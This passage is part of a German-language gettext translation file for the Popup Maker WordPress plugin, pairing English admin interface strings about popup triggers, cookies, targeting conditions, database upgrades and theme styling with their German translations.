2: Approximate number of steps. #: includes/admin/upgrades/class-pum-admin-upgrade-routine.php:63 msgid "Step %1$d of approximately %2$d running" msgstr "Schritt %1$d von ungefähr %2$d läuft" #: includes/admin/upgrades/class-pum-admin-upgrade-routine-6.php:42 msgid "Clean up old data and verify data integrity." msgstr "Alte Daten bereinigen und Integrität der Daten überprüfen." #: includes/admin/upgrades/class-pum-admin-upgrade-routine-5.php:30 msgid "Initialize popup analytics." msgstr "Popup-Statistik initialisieren." #: includes/admin/upgrades/class-pum-admin-upgrade-routine-4.php:32 msgid "Upgrade popup targeting conditions." msgstr "Aktualisiere Popup Auswahl-Konditionen." #: includes/admin/upgrades/class-pum-admin-upgrade-routine-3.php:32 msgid "Upgrade popup triggers & cookies." msgstr "Aktualisiere Popup Auslöser & Cookies." #: classes/Admin/Shortcode/UI.php:190 msgid "You do not have access to preview this post." msgstr "Du hast keinen Zugriff auf die Vorschau dieses Beitrags." #: classes/Admin/Templates.php:466 msgid "Delete this trigger" msgstr "Diesen Auslöser löschen" #: classes/Admin/Templates.php:456 classes/Admin/Templates.php:465 msgid "Edit this trigger" msgstr "Diesen Auslöser bearbeiten" #: classes/Admin/Templates.php:425 classes/Triggers.php:368 msgid "Cookie" msgstr "Cookie" #: classes/Admin/Templates.php:424 msgid "Type" msgstr "Typ" #: classes/Admin/Templates.php:404 msgid "Add New Trigger" msgstr "Neuen Auslöser hinzufügen" #: classes/Admin/Popups.php:406 classes/Admin/Templates.php:412 #: classes/Site/Assets.php:291 msgid "Triggers" msgstr "Auslöser" #: classes/Admin/Templates.php:739 msgid "Delete this cookie" msgstr "Dieses Cookie löschen" #: classes/Admin/Templates.php:729 classes/Admin/Templates.php:738 msgid "Edit this cookie" msgstr "Dieses Cookie bearbeiten" #: classes/Cookies.php:83 msgid "On Popup Close" msgstr "Beim Schließen des Popups" #: classes/Cookies.php:160 msgid "Cookie Settings" msgstr "Cookie-Einstellungen" #: classes/Admin/Templates.php:427 classes/Admin/Templates.php:700 #: classes/Shortcode/Subscribe.php:66 msgid "Actions" msgstr "Aktionen" #: classes/Admin/Templates.php:697 msgid "Event" msgstr "Ereignis" #: classes/Admin/Templates.php:677 classes/Triggers.php:345 msgid "Add New Cookie" msgstr "Neues Cookie hinzufügen" #: classes/Admin/Templates.php:685 classes/Privacy.php:67 #: classes/Site/Assets.php:292 msgid "Cookies" msgstr "Cookies" #: classes/Admin/Templates.php:638 msgid "and" msgstr "und" #: classes/Admin/Templates.php:638 msgctxt "aria-label for add new AND condition button" msgid "Add another AND condition group" msgstr "Füge eine weitere Gruppe für UND Bedingungen hinzu" #: classes/Admin/Templates.php:634 classes/Admin/Templates.php:645 msgid "or" msgstr "oder" #: classes/Admin/Templates.php:634 msgctxt "aria-label for add new OR condition button" msgid "Add another OR condition" msgstr "Füge eine weitere Gruppe für ODER Bedingungen hinzu" #: classes/Admin/Templates.php:659 msgid "Remove Condition" msgstr "Bedingung entfernen" #: classes/Admin/Templates.php:615 classes/Admin/Templates.php:647 msgid "Enable the Not Operand" msgstr "Aktiviere den Not-Operand" #: classes/Admin/Popups.php:429 classes/Site/Assets.php:294 msgid "Conditions" msgstr "Bedingungen" #: classes/Admin/Popups.php:1127 msgid "Lifetime Opens" msgstr "bisherige Öffnungen" #: classes/Admin/Popups.php:1120 msgid "Previous Opens" msgstr "vorherige Öffnungen" #: classes/Admin/Popups.php:1119 msgid "Last Reset" msgstr "Letztes zurücksetzen" #: classes/Admin/Popups.php:1097 classes/Admin/Popups.php:1208 msgid "Opens" msgstr "Öffnungen" #: classes/Admin/Popups.php:184 classes/Privacy.php:116 msgid "Analytics" msgstr "Analysen" #: includes/admin/class-pum-admin-upgrades.php:636 msgid "Upgrade failed, please try again." msgstr "Upgrade fehlgeschlagen, bitte versuche es erneut." #: includes/admin/class-pum-admin-upgrades.php:561 msgid "The upgrade process has started, please be patient. This could take several minutes. You will be automatically redirected when the upgrade is finished." msgstr "Der Upgrade-Prozess hat begonnen, bitte habe Geduld. Das kann mehrere Minuten dauern. Du wirst automatisch umgeleitet, sobald das Upgrade fertig ist." #: includes/admin/class-pum-admin-upgrades.php:546 msgid "Popup Maker - Upgrades" msgstr "Popup Maker - Upgrades" #: includes/admin/class-pum-admin-upgrades.php:290 msgid "Upgrades have been completed successfully." msgstr "Upgrades wurden erfolgreich durchgeführt." #: includes/admin/class-pum-admin-upgrades.php:268 #: includes/admin/upgrades/class-pum-admin-upgrade-routine-2.php:32 #: includes/admin/upgrades/class-pum-admin-upgrade-routine-3.php:43 #: includes/admin/upgrades/class-pum-admin-upgrade-routine-4.php:43 #: includes/admin/upgrades/class-pum-admin-upgrade-routine-5.php:38 #: includes/admin/upgrades/class-pum-admin-upgrade-routine-6.php:50 msgid "You do not have permission to do upgrades" msgstr "Du hast keine Berechtigung, um Upgrades durchzuführen" #. translators: %1$s: URL to upgrade page. %2$s: closing HTML tag. #: includes/admin/class-pum-admin-upgrades.php:250 msgid "Please click %1$shere%2$s to complete these changes now." msgstr "Bitte klicke %1$shier%2$s, um deine Änderungen zu bestätigen." #: includes/admin/class-pum-admin-upgrades.php:247 msgid "Database upgrades required." msgstr "Ein Upgrade der Datenbank ist erforderlich. " #: includes/admin/class-pum-admin-upgrades.php:246 msgid "Important" msgstr "Wichtig" #. translators: %s: URL to upgrade page. #: includes/admin/class-pum-admin-upgrades.php:239 msgid "Popup Maker needs to complete a database upgrade that was previously started, click <a href=\"%s\">here</a> to resume the upgrade." msgstr "Popup Maker muss ein Datenbank Upgrade beenden das früher gestartet wurde, klicke <a href=\"%s\">hier</a> um das Upgrade fortzusetzen." #: includes/admin/class-pum-admin-upgrades.php:117 #: includes/admin/class-pum-admin-upgrades.php:118 msgid "Popup Maker Upgrades" msgstr "Popup Maker Upgrades" #: classes/Admin/Helpers.php:387 classes/Admin/Popups.php:405 #: classes/Admin/Popups.php:860 classes/Admin/Templates.php:338 #: classes/Admin/Themes.php:186 classes/Admin/Themes.php:379 #: classes/Shortcode/Popup.php:61 classes/Shortcode/Popup.php:85 #: templates/popup.php:59 msgid "Close" msgstr "Schließen" #: classes/Admin/Assets.php:84 msgid "Are you sure you want to reset the open count?" msgstr "Bist du sicher, dass du den Öffnungs-Zähler zurücksetzen möchtest?" #: classes/Admin/Assets.php:82 msgid "Are you sure you want to delete this cookie?" msgstr "Bist du sicher, dass du dieses Cookie löschen möchtest?" #: classes/Admin/Assets.php:81 msgid "Are you sure you want to delete this trigger?" msgstr "Bist du sicher, dass du diesen Auslöser löschen möchtest?" #: classes/Admin/Assets.php:85 classes/Admin/Shortcode/UI.php:117 msgid "Popup Maker Shortcodes" msgstr "Popup Maker Shortcodes" #: classes/Admin/Assets.php:80 classes/Admin/Helpers.php:366 #: classes/Admin/Shortcode/UI.php:116 msgid "Cancel" msgstr "Abbrechen" #: classes/Admin/Assets.php:79 classes/Admin/Shortcode/UI.php:115 msgid "Insert" msgstr "Einfügen" #: classes/Admin/Assets.php:78 msgid "Update" msgstr "Aktualisieren" #: classes/Admin/Assets.php:76 classes/Admin/Helpers.php:368 #: classes/Admin/Templates.php:548 classes/Admin/Templates.php:750 msgid "Add" msgstr "Hinzufügen" #: classes/Admin/Settings.php:505 msgid "This will disable the popup tags & categories." msgstr "Hiermit werden die Popup-Schlagwörter und -Kategorien deaktiviert." #: classes/Admin/Settings.php:504 msgid "Disable categories & tags?" msgstr "Kategorien und Schlagwörter deaktivieren?" #: classes/Admin/Templates.php:290 classes/Admin/Templates.php:295 msgid "Documentation" msgstr "Dokumentation" #: classes/Integration/Form/ContactForm7.php:34 msgid "Contact Form 7" msgstr "Contact Form 7" #: classes/Admin/Pages.php:168 msgid "Contact Us" msgstr "Kontaktiere uns" #: classes/Admin/Pages.php:167 msgid "Account" msgstr "Konto" #: classes/Admin/Pages.php:166 msgid "Support Forum" msgstr "Support-Forum" #: classes/Admin/Pages.php:154 msgid "All Themes" msgstr "Alle Themes" #: classes/Admin/Pages.php:152 includes/modules/admin-bar.php:195 msgid "All Popups" msgstr "Alle Popus" #: classes/Admin/Pages.php:163 msgid "Extend" msgstr "Erweitern" #. Description of the plugin #: popup-maker.php msgid "Easily create & style popups with any content. Theme editor to quickly style your popups. Add forms, social media boxes, videos & more." msgstr "Ganz einfach Popups mit beliebigem Inhalt erstellen und stylen. Mit dem Theme Editor kannst Du die Styles Deiner Popups schnell anpassen. Füge Formulare, Boxen für soziale Netzwerke, Videos und mehr hinzu." #. Plugin Name of the plugin #. Author of the plugin #: popup-maker.php classes/Cookies.php:100 classes/Extension/Activator.php:176 #: classes/Extension/Activator.php:188 classes/Extension/Activator.php:201 #: classes/Privacy.php:36 classes/Site/Assets.php:275 classes/Triggers.php:226 #: classes/Types.php:29 classes/Utils/Alerts.php:492 #: includes/admin/class-pum-admin-upgrades.php:245 #: includes/integrations/class-pum-gravity-forms.php:57 #: includes/modules/admin-bar.php:77 msgid "Popup Maker" msgstr "Popup Maker" #: classes/Types.php:27 classes/Upsell.php:144 #: includes/modules/admin-bar.php:87 msgid "Popups" msgstr "Popups" #: classes/Admin/Popups.php:115 classes/Admin/Subscribers/Table.php:106 #: classes/Shortcode/Popup.php:34 classes/Shortcode/Popup.php:414 #: classes/Shortcode/Subscribe.php:98 classes/Types.php:27 #: classes/Types.php:212 classes/Upsell.php:144 #: includes/integrations/class-pum-cf7.php:175 #: includes/integrations/class-pum-gravity-forms.php:166 #: includes/modules/menus.php:62 msgid "Popup" msgstr "Pop-up" #: classes/Admin/Pages.php:153 msgid "Add New" msgstr "Erstellen" #: classes/Admin/Subscribers/Table.php:427 classes/Extension/Updater.php:611 #: includes/admin/class-pum-admin-upgrades.php:268 #: includes/admin/upgrades/class-pum-admin-upgrade-routine-2.php:32 #: includes/admin/upgrades/class-pum-admin-upgrade-routine-3.php:43 #: includes/admin/upgrades/class-pum-admin-upgrade-routine-4.php:43 #: includes/admin/upgrades/class-pum-admin-upgrade-routine-5.php:38 #: includes/admin/upgrades/class-pum-admin-upgrade-routine-6.php:50 msgid "Error" msgstr "Fehler" #: classes/Extension/Updater.php:611 msgid "You do not have permission to install plugin updates" msgstr "Du hast keine Berechtigung, um Plugin-Aktualisierungen zu installieren" #: includes/functions-deprecated.php:269 #: includes/functions/themes/portability.php:75 msgid "Default Theme" msgstr "Standard-Theme" #: classes/Cookies.php:125 includes/input-options.php:165 msgid "Manual" msgstr "Manuell" #: includes/input-options.php:164 msgid "On Close" msgstr "Beim Schließen" #: includes/input-options.php:163 msgid "On Open" msgstr "Beim Öffnen" #: includes/input-options.php:162 msgid "Disabled" msgstr "Deaktiviert" #: classes/Admin/Popups.php:677 classes/Admin/Popups.php:729 #: classes/Admin/Themes.php:890 includes/input-options.php:115 #: includes/input-options.php:135 includes/input-options.php:150 msgid "Bottom Right" msgstr "Unten rechts" #: classes/Admin/Popups.php:676 classes/Admin/Popups.php:728 #: classes/Admin/Themes.php:889 includes/input-options.php:114 #: includes/input-options.php:134 msgid "Bottom Center" msgstr "Unten mittig" #: classes/Admin/Popups.php:675 classes/Admin/Popups.php:727 #: classes/Admin/Themes.php:888 includes/input-options.php:113 #: includes/input-options.php:133 includes/input-options.php:149 msgid "Bottom Left" msgstr "Unten links" #: classes/Admin/Popups.php:674 classes/Admin/Popups.php:726 #: classes/Admin/Themes.php:887 includes/input-options.php:112 #: includes/input-options.php:132 msgid "Middle Right" msgstr "Mittel rechts" #: classes/Admin/Popups.php:673 classes/Admin/Popups.php:725 #: includes/input-options.php:111 includes/input-options.php:131 msgid "Middle Center" msgstr "Mitte zentriert" #: classes/Admin/Popups.php:672 classes/Admin/Popups.php:724 #: classes/Admin/Themes.php:886 includes/input-options.php:110 #: includes/input-options.php:130 msgid "Middle Left" msgstr "Mittel links" #: classes/Admin/Popups.php:671 classes/Admin/Popups.php:723 #: classes/Admin/Themes.php:885 includes/input-options.php:109 #: includes/input-options.php:129 includes/input-options.php:148 msgid "Top Right" msgstr "Oben rechts" #: classes/Admin/Popups.php:670 classes/Admin/Popups.php:722 #: classes/Admin/Themes.php:884 includes/input-options.php:108 #: includes/input-options.php:128 msgid "Top Center" msgstr "Oben mittig" #: classes/Admin/Popups.php:669 classes/Admin/Popups.php:721 #: classes/Admin/Themes.php:883 includes/input-options.php:107 #: includes/input-options.php:127 includes/input-options.php:147 msgid "Top Left" msgstr "Oben links" #: includes/input-options.php:91 msgid "Grow and Slide" msgstr "Wachsen und sliden" #: includes/input-options.php:90 msgid "Grow" msgstr "Wachsen" #: classes/Admin/Popups.php:640 includes/input-options.php:89 msgid "Fade and Slide" msgstr "Verblassen und sliden" #: classes/Admin/Popups.php:639 includes/input-options.php:88 msgid "Fade" msgstr "Ein-/Ausblenden" #: classes/Admin/Popups.php:638 includes/input-options.php:87 msgid "Slide" msgstr "Slide" #: classes/Admin/Popups.php:563 classes/Shortcode/PopupTrigger.php:97 #: includes/input-options.php:74 msgid "Custom" msgstr "Individuell" #: classes/Admin/Popups.php:562 includes/input-options.php:73 msgid "Auto" msgstr "Automatisch" #: includes/input-options.php:72 msgid "Non Responsive Sizes⤵" msgstr "Nicht responsive Größen⤵" #: classes/Admin/Popups.php:559 includes/input-options.php:71 msgid "X Large - 95%" msgstr "Sehr groß - 95%" #: classes/Admin/Popups.php:558 includes/input-options.php:70 msgid "Large - 80%" msgstr "Groß - 80%" #: classes/Admin/Popups.php:557 includes/input-options.php:69 msgid "Normal - 70%" msgstr "Normal - 70%" #: classes/Admin/Popups.php:556 includes/input-options.php:68 msgid "Medium - 60%" msgstr "Mittel - 60%" #: classes/Admin/Popups.php:555 includes/input-options.php:67 msgid "Small - 40%" msgstr "Klein - 40%" #: classes/Admin/Popups.php:554 includes/input-options.php:66 msgid "Tiny - 30%" msgstr "Sehr klein - 30%" #: classes/Admin/Popups.php:553 includes/input-options.php:65 msgid "Micro - 20%" msgstr "Mikro - 20%" #: classes/Admin/Popups.php:552 includes/input-options.php:64 msgid "Nano - 10%" msgstr "Nano - 10%" #: includes/input-options.php:63 msgid "Responsive Sizes⤵" msgstr "Responsive Größen⤵" #: classes/Admin/Themes.php:500 classes/Admin/Themes.php:754 #: classes/Admin/Themes.php:853 classes/Admin/Themes.php:1057 #: includes/input-options.php:37 msgid "Normal" msgstr "Normal" #: classes/Admin/Themes.php:470 msgid "Use Your Themes" msgstr "Nutze Deine Themes" #: classes/Admin/Themes.php:445 msgid "Ridge" msgstr "Gezahnt" #: classes/Admin/Themes.php:444 msgid "Outset" msgstr "Beginn" #: classes/Admin/Themes.php:442 msgid "Groove" msgstr "Geriffelt" #: classes/Admin/Themes.php:441 msgid "Double" msgstr "Doppelt" #: classes/Admin/Themes.php:440 msgid "Dashed" msgstr "Gestrichelt" #: classes/Admin/Themes.php:439 msgid "Dotted" msgstr "Gepunktet" #: classes/Admin/Themes.php:438 msgid "Solid" msgstr "Durchgehend" #: classes/Admin/Assets.php:83 classes/Admin/Popups.php:637 #: classes/Admin/Popups.php:693 classes/Admin/Settings.php:284 #: classes/Admin/Themes.php:437 classes/Shortcode/Subscribe.php:137 #: classes/Shortcode/Subscribe.php:148 classes/Shortcode/Subscribe.php:304 #: includes/input-options.php:86 msgid "None" msgstr "Nichts" #: classes/Cookies.php:265 msgid "Changing this will cause all existing cookies to be invalid." msgstr "Dies zu ändern wird alle bereits existierende Cookies ungültig machen." #: classes/Cookies.php:258 classes/Shortcode/PopupCookie.php:61 msgid "This will prevent the popup from triggering on all pages until the cookie expires." msgstr "Dies verhindert das Auslösen von Popups auf allen Seiten bis das Cookie abläuft." #: classes/Cookies.php:238 classes/Shortcode/PopupCookie.php:56 msgid "Enter a plain english time before cookie expires." msgstr "Gib eine eindeutige Zeitspanne (in Englisch) an, wie lange das Cookie gültig sein soll. " #: classes/Cookies.php:237 classes/Shortcode/PopupCookie.php:55 msgid "364 days 23 hours 59 minutes 59 seconds" msgstr "364 Tage 23 Stunden 59 Minuten 59 Sekunden" #: classes/Admin/Helpers.php:209 classes/Admin/Popups.php:653 #: classes/Admin/Popups.php:873 classes/Shortcode/Popup.php:253 #: classes/Utils/Fields.php:131 includes/class-popmake-fields.php:186 msgid "ms" msgstr "ms" #: classes/Utils/Cron.php:39 msgid "Once Weekly" msgstr "Einmal wöchentlich" #: classes/Admin/Tools.php:269 msgid "Import From Easy Modal v2" msgstr "Import aus Easy Modal v2" #: classes/Admin/Tools.php:135 msgid "Import / Export" msgstr "Import / Export" #: classes/Admin/Tools.php:46 msgid "Successfully Imported your themes & modals from Easy Modal." msgstr "Deine Themes und Modals wurden erfolgreich von Easy Modal importiert." #: classes/Admin/Themes.php:182 msgid "Title Text" msgstr "Text der Überschrift" #: classes/Admin/Themes.php:37 msgid "Theme Preview" msgstr "Theme-Vorschau" #: classes/Admin/Themes.php:408 classes/Admin/Themes.php:421 msgid "Text Shadow" msgstr "Text-Schatten" #: classes/Admin/Themes.php:681 classes/Admin/Themes.php:1142 msgid "Spread" msgstr "Ausdehnen" #: classes/Admin/Themes.php:671 classes/Admin/Themes.php:810 #: classes/Admin/Themes.php:1132 classes/Admin/Themes.php:1201 msgid "Blur Radius" msgstr "Unschärfe-Radius" #: classes/Admin/Themes.php:661 classes/Admin/Themes.php:800 #: classes/Admin/Themes.php:1122 classes/Admin/Themes.php:1191 msgid "Vertical Position" msgstr "Vertikale Position" #: classes/Admin/Themes.php:651 classes/Admin/Themes.php:790 #: classes/Admin/Themes.php:1112 classes/Admin/Themes.php:1181 msgid "Horizontal Position" msgstr "Horizontale Position" #: classes/Admin/Settings.php:355 classes/Admin/Settings.php:397 #: classes/Admin/Settings.php:406 classes/Admin/Themes.php:697 #: classes/Admin/Themes.php:1158 classes/Shortcode/Subscribe.php:326 #: classes/Shortcode/Subscribe.php:379 msgid "Yes" msgstr "Ja" #: classes/Admin/Settings.php:356 classes/Admin/Settings.php:415 #: classes/Admin/Themes.php:696 classes/Admin/Themes.php:1157 #: classes/Shortcode/Subscribe.php:327 classes/Shortcode/Subscribe.php:391 msgid "No" msgstr "Nein" #: classes/Admin/Themes.php:404 classes/Admin/Themes.php:419 msgid "Drop Shadow" msgstr "Schattenwurf" #: classes/Admin/Themes.php:619 classes/Admin/Themes.php:1080 msgid "Thickness" msgstr "Dicke" #: classes/Admin/Themes.php:403 classes/Admin/Themes.php:418 msgid "Border" msgstr "Rand" #: classes/Admin/Themes.php:544 classes/Admin/Themes.php:590 #: classes/Admin/Themes.php:640 classes/Admin/Themes.php:779 #: classes/Admin/Themes.php:998 classes/Admin/Themes.php:1101 #: classes/Admin/Themes.php:1170 msgid "Opacity" msgstr "Deckkraft" #: classes/Admin/Themes.php:398 classes/Admin/Themes.php:402 #: classes/Admin/Themes.php:417 msgid "Background" msgstr "Hintergrund" #: classes/Admin/Themes.php:603 classes/Admin/Themes.php:749 #: classes/Admin/Themes.php:848 classes/Admin/Themes.php:1052 #: classes/Admin/Themes.php:1064 msgid "Style" msgstr "Stil" #: classes/Admin/Themes.php:724 classes/Admin/Themes.php:1027 msgid "Line Height" msgstr "Zeilenhöhe" #: classes/Admin/Themes.php:538 classes/Admin/Themes.php:584 #: classes/Admin/Themes.php:610 classes/Admin/Themes.php:634 #: classes/Admin/Themes.php:708 classes/Admin/Themes.php:773 #: classes/Admin/Themes.php:827 classes/Admin/Themes.php:992 #: classes/Admin/Themes.php:1011 classes/Admin/Themes.php:1071 #: classes/Admin/Themes.php:1095 classes/Admin/Themes.php:1164 msgid "Color" msgstr "Farbe" #: classes/Admin/Themes.php:407 classes/Admin/Themes.php:420 msgid "Font" msgstr "Schrift" #: classes/Admin/Themes.php:562 classes/Admin/Themes.php:950 msgid "Padding" msgstr "Innenabstand" #: classes/Admin/Themes.php:411 msgid "Text" msgstr "Text" #: classes/Admin/Assets.php:77 classes/Admin/Settings.php:701 #: classes/Admin/Tools.php:91 classes/Admin/Tools.php:214 #: includes/integrations/class-pum-gravity-forms.php:181 msgid "Save" msgstr "Speichern" #: classes/Admin/Templates.php:204 msgid "Deactivate License" msgstr "Lizenz deaktivieren" #: classes/Admin/Settings.php:744 classes/Admin/Settings.php:781 msgid "Misc" msgstr "Verschiedenes" #: classes/Admin/Settings.php:742 classes/Admin/Settings.php:774 msgid "Licenses" msgstr "Lizenzen" #: classes/Admin/Settings.php:782 msgid "Assets" msgstr "Anlagen" #: classes/Admin/Popups.php:403 classes/Admin/Settings.php:739 #: classes/Admin/Settings.php:765 classes/Admin/Settings.php:768 #: classes/Admin/Settings.php:777 classes/Admin/Themes.php:374 #: classes/Admin/Themes.php:395 classes/Admin/Themes.php:414 #: classes/Conditions.php:109 classes/Conditions.php:490 #: classes/Conditions.php:504 classes/Conditions.php:510 #: classes/Cookies.php:210 classes/Shortcode.php:152 classes/Shortcode.php:164 #: classes/Shortcode.php:177 classes/Shortcode/Popup.php:57 #: classes/Shortcode/Popup.php:73 classes/Shortcode/Subscribe.php:63 #: classes/Shortcode/Subscribe.php:85 classes/Shortcode/Subscribe.php:88 #: classes/Triggers.php:367 includes/class-popmake-fields.php:63 msgid "General" msgstr "Allgemein" #: classes/Admin/Settings.php:500 msgid "This will automatically make any eModal classes you have added to your site launch the appropriate Popup after import." msgstr "Dadurch werden alle eModal-Klassen, die du zu deiner Website hinzugefügt hast, nach dem Import automatisch das entsprechende Popup anzeigen." #: classes/Admin/Settings.php:499 msgid "Enable Easy Modal v2 Compatibility Mode" msgstr "Aktiviere den Easy Modal v2 Kompatibilitäts-Modus" #: classes/Admin/Settings.php:545 msgid "Check this if you have copied the popup theme styles to your own stylesheet or are using custom styles." msgstr "Aktiviere diese Option, wenn du die Popup-Themenstile in dein eigenes Stylesheet kopiert hast oder individuelle Stile verwendest." #: classes/Admin/Settings.php:544 msgid "Don't load popup theme styles to the head." msgstr "Lade keine Popup-Themenstile in den Kopf." #: classes/Admin/Settings.php:534 msgid "Don't Load Google Fonts" msgstr "Google Fonts nicht laden" #: classes/Admin/Settings.php:259 msgid "Allow usage tracking?" msgstr "Nutzungsverfolgung zulassen?" #: classes/Admin/Themes.php:767 msgid "Justify" msgstr "Ausrichten" #: classes/Admin/Themes.php:765 classes/Shortcode/Subscribe.php:293 #: includes/input-options.php:51 msgid "Center" msgstr "Zentriert" #: classes/Admin/Themes.php:755 classes/Admin/Themes.php:854 #: classes/Admin/Themes.php:1058 includes/input-options.php:38 msgid "Italic" msgstr "Kursiv" #: classes/Admin/Themes.php:503 msgid "Bold" msgstr "Fett" #: classes/Shortcode/PopupTrigger.php:43 dist/block-editor/block-editor.js:6 msgid "Popup Trigger" msgstr "Popup Auslöser" #: classes/ListTable.php:1161 msgid "Select All" msgstr "Alle auswählen" #: classes/Admin/Themes.php:34 msgid "Theme Settings" msgstr "Theme-Einstellungen" #: classes/Admin/Templates.php:577 msgid "Targeting Conditions" msgstr "Targeting von Bedingungen" #: classes/Admin/Popups.php:537 msgid "Choose a theme for this popup." msgstr "Wähle ein Theme für dieses Popup." #: classes/Admin/Popups.php:844 msgid "Change the z-index layer level for the popup." msgstr "Ändere die z-index-Ebene für das Popup." #: classes/Admin/Popups.php:843 msgid "Popup Z-Index" msgstr "Popup Z-Index" #: classes/Admin/Popups.php:668 classes/Admin/Popups.php:787 #: classes/Admin/Popups.php:791 classes/Admin/Themes.php:766 #: classes/Admin/Themes.php:934 classes/Shortcode/Popup.php:218 #: classes/Shortcode/Popup.php:222 classes/Shortcode/Subscribe.php:294 #: includes/input-options.php:52 includes/input-options.php:106 msgid "Right" msgstr "Rechts" #: classes/Admin/Popups.php:666 classes/Admin/Popups.php:769 #: classes/Admin/Popups.php:773 classes/Admin/Themes.php:764 #: classes/Admin/Themes.php:921 classes/Shortcode/Popup.php:203 #: classes/Shortcode/Popup.php:207 classes/Shortcode/Subscribe.php:292 #: includes/input-options.php:50 includes/input-options.php:104 msgid "Left" msgstr "Links" #: classes/Admin/Popups.php:667 classes/Admin/Popups.php:751 #: classes/Admin/Popups.php:755 classes/Admin/Themes.php:908 #: classes/Shortcode/Popup.php:188 classes/Shortcode/Popup.php:192 #: includes/input-options.php:105 msgid "Bottom" msgstr "Unten" #: classes/Admin/Popups.php:665 classes/Admin/Popups.php:733 #: classes/Admin/Popups.php:737 classes/Admin/Themes.php:894 #: classes/Shortcode/Popup.php:173 classes/Shortcode/Popup.php:177 #: includes/input-options.php:103 msgid "Top" msgstr "Oben" #: classes/Admin/Popups.php:818 msgid "Checking this sets the positioning of the popup to fixed." msgstr "Wenn du diese Option aktivierst, wird die Positionierung des Popups fixiert." #: classes/Admin/Popups.php:817 msgid "Fixed Positioning" msgstr "Feste Position" #: classes/Admin/Popups.php:716 classes/Shortcode/Popup.php:166 msgid "Choose where the popup will be displayed." msgstr "Wähle, wo das Popup angezeigt werden soll." #: classes/Admin/Popups.php:715 classes/Admin/Themes.php:878 #: classes/Shortcode/Popup.php:165 msgid "Location" msgstr "Ort" #: classes/Admin/Popups.php:832 msgid "This enables other popups to remain open." msgstr "Wenn du diese Option aktivierst, können andere Popups geöffnet bleiben." #: classes/Admin/Popups.php:831 msgid "Stackable" msgstr "Stapelbar" #: classes/Admin/Popups.php:437 classes/Admin/Themes.php:416 #: classes/Shortcode/Popup.php:59 classes/Shortcode/Popup.php:79 msgid "Position" msgstr "Position" #: classes/Admin/Popups.php:661 classes/Shortcode/Popup.php:257 msgid "Choose where the animation will begin." msgstr "Wähle, wo die Animation beginnen soll." #: classes/Admin/Popups.php:660 classes/Shortcode/Popup.php:256 msgid "Animation Origin" msgstr "Animations-Beginn" #: classes/Admin/Popups.php:647 classes/Shortcode/Popup.php:246 msgid "Set the animation speed for the popup." msgstr "Lege die Animationsgeschwindigkeit für das Popup fest." #: classes/Admin/Popups.php:646 classes/Shortcode/Popup.php:245 msgid "Animation Speed" msgstr "Animationsgeschwindigkeit" #: classes/Admin/Popups.php:632 classes/Shortcode/Popup.php:238 msgid "Select an animation type for your popup." msgstr "Wähle eine Animationsart für Dein Popup." #: classes/Admin/Popups.php:631 classes/Shortcode/Popup.php:237 msgid "Animation Type" msgstr "Art der Animation" #: classes/Admin/Popups.php:435 classes/Shortcode/Popup.php:60 #: classes/Shortcode/Popup.php:82 msgid "Animation" msgstr "Animation" #: classes/Admin/Popups.php:826 classes/Shortcode/Popup.php:125 msgid "Checking this will disable and hide the overlay for this popup." msgstr "Wenn du diese Option aktivierst, wird die Überlagerung für das Popup deaktiviert versteckt." #: classes/Admin/Popups.php:825 classes/Shortcode/Popup.php:124 msgid "Disable Overlay" msgstr "Überlagerung deaktivieren" #: classes/Admin/Themes.php:375 msgid "Overlay" msgstr "Overlay" #: classes/Admin/Popups.php:608 msgid "Set a custom height for the popup." msgstr "Wähle eine individuelle Höhe für das Popup." #: classes/Admin/Popups.php:607 classes/Admin/Themes.php:960 #: classes/Shortcode/Popup.php:150 msgid "Height" msgstr "Höhe" #: classes/Admin/Popups.php:619 msgid "Checking this option will add a scroll bar to your content." msgstr "Wenn du diese Option aktivierst, wird deinem Inhalt eine Bildlaufleiste hinzugefügt." #: classes/Admin/Popups.php:618 msgid "Scrollable Content" msgstr "Scrollbarer Inhalt" #: classes/Admin/Popups.php:599 msgid "Checking this option will set height to fit the content." msgstr "Wenn du diese Option aktivierst wird die Höhe an den Inhalt angepasst." #: classes/Admin/Popups.php:598 msgid "Auto Adjusted Height" msgstr "Automatische Höhenanpassung" #: classes/Admin/Popups.php:589 msgid "Set a custom width for the popup." msgstr "Wähle eine individuelle Breite für das Popup." #: classes/Admin/Popups.php:588 classes/Admin/Themes.php:970 #: classes/Shortcode/Popup.php:139 msgid "Width" msgstr "Breite" #: classes/Admin/Popups.php:579 msgid "Set a maximum width for the popup." msgstr "Lege eine maximale Breite für das Popup fest." #: classes/Admin/Popups.php:578 msgid "Max Width" msgstr "Max. Breite" #: classes/Admin/Popups.php:569 msgid "Set a minimum width for the popup." msgstr "Lege eine Mindestbreite für das Popup fest." #: classes/Admin/Popups.php:568 msgid "Min Width" msgstr "Mindestbreite" #: classes/Admin/Popups.php:546 classes/Shortcode/Popup.php:132 msgid "Select the size of the popup." msgstr "Wähle die Größe des Popups." #: classes/Admin/Popups.php:434 classes/Admin/Popups.php:545 #: classes/Admin/Themes.php:415 classes/Shortcode/Popup.php:131 msgid "Size" msgstr "Größe" #: classes/Admin/Popups.php:912 msgid "Checking this will cause popup to close when user presses F4 key." msgstr "Wenn Du das Kästchen markierst, wird das Popup geschlossen, sobald ein Nutzer die F4-Taste drückt." #: classes/Admin/Popups.php:911 msgid "Press F4 to Close" msgstr "Zum Schließen F4 drücken" #: classes/Admin/Popups.php:906 msgid "Checking this will cause popup to close when user presses ESC key." msgstr "Wenn Du das Kästchen markierst, wird das Popup geschlossen, sobald ein Nutzer die ESC-Taste drückt." #: classes/Admin/Popups.php:905 msgid "Press ESC to Close" msgstr "Zum Schließen ESC drücken" #: classes/Admin/Popups.php:900 classes/Shortcode/Popup.php:269 msgid "Checking this will cause popup to close when user clicks on overlay." msgstr "Wenn Du das Kästchen markierst, wird das Popup geschlossen, sobald ein Nutzer auf die Überlagerung klickt." #: classes/Admin/Popups.php:899 classes/Shortcode/Popup.php:268 msgid "Click Overlay to Close" msgstr "Klicken, um Überlagerung zu schließen." #: classes/Admin/Popups.php:867 msgid "This delays the display of the close button." msgstr "Dies verzögert die Anzeige des Schließen Buttons." #: classes/Admin/Popups.php:866 msgid "Close Button Delay" msgstr "Verzögerung des Schließen-Buttons" #: classes/Admin/Themes.php:867 classes/Admin/Themes.php:868 #: includes/functions/themes/deprecated.php:134 msgid "CLOSE" msgstr "Schließen" #: classes/Admin/Popups.php:859 msgid "Close Text" msgstr "Schließen-Text" #: classes/Triggers.php:181 msgid "Extra CSS Selectors" msgstr "Zusätzliche CSS-Selektoren" #: 